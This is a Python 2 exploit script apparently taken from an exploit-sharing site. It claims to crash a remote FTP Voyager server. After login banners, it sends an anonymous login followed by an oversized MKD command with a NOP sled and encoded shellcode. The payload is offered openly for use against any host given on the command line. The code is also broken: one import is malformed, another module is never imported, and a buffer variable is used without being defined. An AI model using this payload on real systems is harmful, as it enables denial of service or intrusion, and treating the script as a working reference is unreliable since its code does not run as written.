FTP Voyager Remote Crash Exploit

#!/usr/bin/python

                          ||          ||   | ||      
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .

print" Exploit Title: FTP Voyager Remote Crash Exploit "

print" Exploit submited In http://1337day.com "

print"1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0"
print"0     _                   __           __       __                     1"
print"1   /' \            __  /'__`\        /\ \__  /'__`\                   0"
print"0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1"
print"1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0"
print"0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1"
print"1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0"
print"0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1"
print"1                  \ \____/ >> Exploit database separated by exploit   0"
print"0                   \/___/          type (local, remote, DoS, etc.)    1"
print"1                                                                      1"
print"0  [+] Site            : 1337day.com                                   0"
print"1  [+] Support e-mail  : submit[at]1337day.com                         1"
print"0                                                                      0"
print"1               #########################################              1"
print"0               I'm Angel Injection member from Inj3ct0r Team          1"
print"1               #########################################              0"
print"0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1"

from socket import *
import sys,

if (len(sys.argv) < 3):
    print "\n    Usage: %s <host> <port> \n"
    sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)

BU = "\x90" * 1200

BU += ("\x2b\xc9\xb1\x33\xda\xd8\xbe\xd9\x73\x14\x79\xd9\x74\x24"+
"\xf4\x5a\x83\xea\xfc\x31\x72\x0f\x03\xab\x7c\xf6\x8c\xb7"+
"\x6b\x7f\x6e\x47\x6c\xe0\xe6\xa2\x5d\x32\x9c\xa7\xcc\x82"+
"\xd6\xe5\xfc\x69\xba\x1d\x76\x1f\x13\x12\x3f\xaa\x45\x1d"+
"\xc0\x1a\x4a\xf1\x02\x3c\x36\x0b\x57\x9e\x07\xc4\xaa\xdf"+
"\x40\x38\x44\x8d\x19\x37\xf7\x22\x2d\x05\xc4\x43\xe1\x02"+
"\x74\x3c\x84\xd4\x01\xf6\x87\x04\xb9\x8d\xc0\xbc\xb1\xca"+
"\xf0\xbd\x16\x09\xcc\xf4\x13\xfa\xa6\x07\xf2\x32\x46\x36"+
"\x3a\x98\x79\xf7\xb7\xe0\xbe\x3f\x28\x97\xb4\x3c\xd5\xa0"+
"\x0e\x3f\x01\x24\x93\xe7\xc2\x9e\x77\x16\x06\x78\xf3\x14"+
"\xe3\x0e\x5b\x38\xf2\xc3\xd7\x44\x7f\xe2\x37\xcd\x3b\xc1"+
"\x93\x96\x98\x68\x85\x72\x4e\x94\xd5\xda\x2f\x30\x9d\xc8"+
"\x24\x42\xfc\x86\xbb\xc6\x7a\xef\xbc\xd8\x84\x5f\xd5\xe9"+
"\x0f\x30\xa2\xf5\xc5\x75\x5c\xbc\x44\xdf\xf5\x19\x1d\x62"+
"\x98\x99\xcb\xa0\xa5\x19\xfe\x58\x52\x01\x8b\x5d\x1e\x85"+
"\x67\x2f\x0f\x60\x88\x9c\x30\xa1\xeb\x43\xa3\x29\xc2\xe6"+
"\x43\xcb\x1a")


buffer += "\x90" * 10

buffer += "\x70\x65\xb7\x7c"

buffer += "\x0e"

# send buffer
print "[!] Sending exploit..."
sock.recv(2000)
sock.send('USER anonymous\r\n')
sock.recv(2000)
sock.send('PASS anonymous\r\n')
sock.recv(2000)
sock.send('MKD'+BU+'\r\n')
sock.recv(2000)
sock.close()
print "[!] Exploit succeedfull\n"
sys.exit() 



#  0day.today [2018-04-02]  #